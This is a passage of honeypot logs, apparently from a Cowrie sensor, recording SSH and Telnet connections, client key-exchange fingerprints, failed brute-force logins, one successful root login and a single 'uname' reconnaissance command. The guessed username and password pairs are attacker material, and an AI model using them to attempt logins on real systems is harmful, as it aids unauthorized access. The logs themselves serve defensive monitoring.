sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:44:52.692600Z","src_ip":"2.57.122.208","session":"78ca608429f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:44:53.371404Z","src_ip":"2.57.122.208","session":"78ca608429f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:44:54.629199Z","src_ip":"2.57.122.208","session":"78ca608429f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":44662,"dst_ip":"10.17.0.5","dst_port":22,"session":"c170e9db6501","protocol":"ssh","message":"New connection: 160.187.147.124:44662 (10.17.0.5:22) [session: c170e9db6501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:45:46.087090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:45:46.092098Z","src_ip":"160.187.147.124","session":"c170e9db6501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:45:46.341618Z","src_ip":"160.187.147.124","session":"c170e9db6501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bpoint","password":"Bpoint123","message":"login attempt [bpoint/Bpoint123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:45:47.379976Z","src_ip":"160.187.147.124","session":"c170e9db6501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:45:48.638570Z","src_ip":"160.187.147.124","session":"c170e9db6501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59000,"dst_ip":"159.203.135.109","dst_port":22,"session":"5986bd89ce06","protocol":"ssh","message":"New connection: 162.120.6.20:59000 (159.203.135.109:22) [session: 5986bd89ce06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:01.984504Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.055279Z","src_ip":"162.120.6.20","session":"5986bd89ce06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59016,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dfc3d255e07","protocol":"ssh","message":"New connection: 162.120.6.20:59016 (159.203.135.109:22) [session: 6dfc3d255e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.119824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.124794Z","src_ip":"162.120.6.20","session":"6dfc3d255e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.192922Z","src_ip":"162.120.6.20","session":"6dfc3d255e07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"maggie","message":"login attempt [root/maggie] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.399398Z","src_ip":"162.120.6.20","session":"6dfc3d255e07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.573178Z","src_ip":"162.120.6.20","session":"6dfc3d255e07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.576303Z","src_ip":"162.120.6.20","session":"6dfc3d255e07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.647416Z","src_ip":"162.120.6.20","session":"6dfc3d255e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:02.652280Z","src_ip":"162.120.6.20","session":"6dfc3d255e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44374,"dst_ip":"10.17.0.5","dst_port":22,"session":"4027bb623fa3","protocol":"ssh","message":"New connection: 2.57.122.208:44374 (10.17.0.5:22) [session: 4027bb623fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:05.309681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:05.316790Z","src_ip":"2.57.122.208","session":"4027bb623fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:05.428010Z","src_ip":"2.57.122.208","session":"4027bb623fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:05.834000Z","src_ip":"2.57.122.208","session":"4027bb623fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:47:07.005190Z","src_ip":"2.57.122.208","session":"4027bb623fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":56850,"dst_ip":"10.17.0.5","dst_port":22,"session":"15ebe220fe4e","protocol":"ssh","message":"New connection: 160.187.147.124:56850 (10.17.0.5:22) [session: 15ebe220fe4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:48:37.202619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:48:37.207539Z","src_ip":"160.187.147.124","session":"15ebe220fe4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:48:37.455287Z","src_ip":"160.187.147.124","session":"15ebe220fe4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"Main","message":"login attempt [main/Main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:48:38.484883Z","src_ip":"160.187.147.124","session":"15ebe220fe4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:48:39.735583Z","src_ip":"160.187.147.124","session":"15ebe220fe4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.43.38.90","src_port":22521,"dst_ip":"10.17.0.5","dst_port":23,"session":"16363c7ad28a","protocol":"telnet","message":"New connection: 1.43.38.90:22521 (10.17.0.5:23) [session: 16363c7ad28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:49:56.908728Z"}
{"eventid":"cowrie.session.closed","duration":15.862242937088013,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:12.770865Z","src_ip":"1.43.38.90","session":"16363c7ad28a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":57792,"dst_ip":"10.17.0.5","dst_port":22,"session":"02ed10ad1123","protocol":"ssh","message":"New connection: 45.148.10.121:57792 (10.17.0.5:22) [session: 02ed10ad1123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:36.909946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:36.914064Z","src_ip":"45.148.10.121","session":"02ed10ad1123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:36.988538Z","src_ip":"45.148.10.121","session":"02ed10ad1123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:37.216363Z","src_ip":"45.148.10.121","session":"02ed10ad1123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:38.292318Z","src_ip":"45.148.10.121","session":"02ed10ad1123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":35400,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e930079ff1","protocol":"ssh","message":"New connection: 160.187.147.124:35400 (10.17.0.5:22) [session: 29e930079ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:46.124106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:46.128695Z","src_ip":"160.187.147.124","session":"29e930079ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:46.367565Z","src_ip":"160.187.147.124","session":"29e930079ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openkm","password":"Openkm123","message":"login attempt [openkm/Openkm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:47.355831Z","src_ip":"160.187.147.124","session":"29e930079ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:50:48.599805Z","src_ip":"160.187.147.124","session":"29e930079ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":42176,"dst_ip":"10.17.0.5","dst_port":22,"session":"996418d73d5e","protocol":"ssh","message":"New connection: 160.187.147.124:42176 (10.17.0.5:22) [session: 996418d73d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:52:47.649791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:52:47.654942Z","src_ip":"160.187.147.124","session":"996418d73d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:52:47.904068Z","src_ip":"160.187.147.124","session":"996418d73d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"Hasan123","message":"login attempt [hasan/Hasan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:52:48.926834Z","src_ip":"160.187.147.124","session":"996418d73d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:52:50.178979Z","src_ip":"160.187.147.124","session":"996418d73d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":48946,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa678abd133","protocol":"ssh","message":"New connection: 160.187.147.124:48946 (10.17.0.5:22) [session: 9aa678abd133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:54:51.780508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:54:51.797126Z","src_ip":"160.187.147.124","session":"9aa678abd133","protocol":"ssh"}
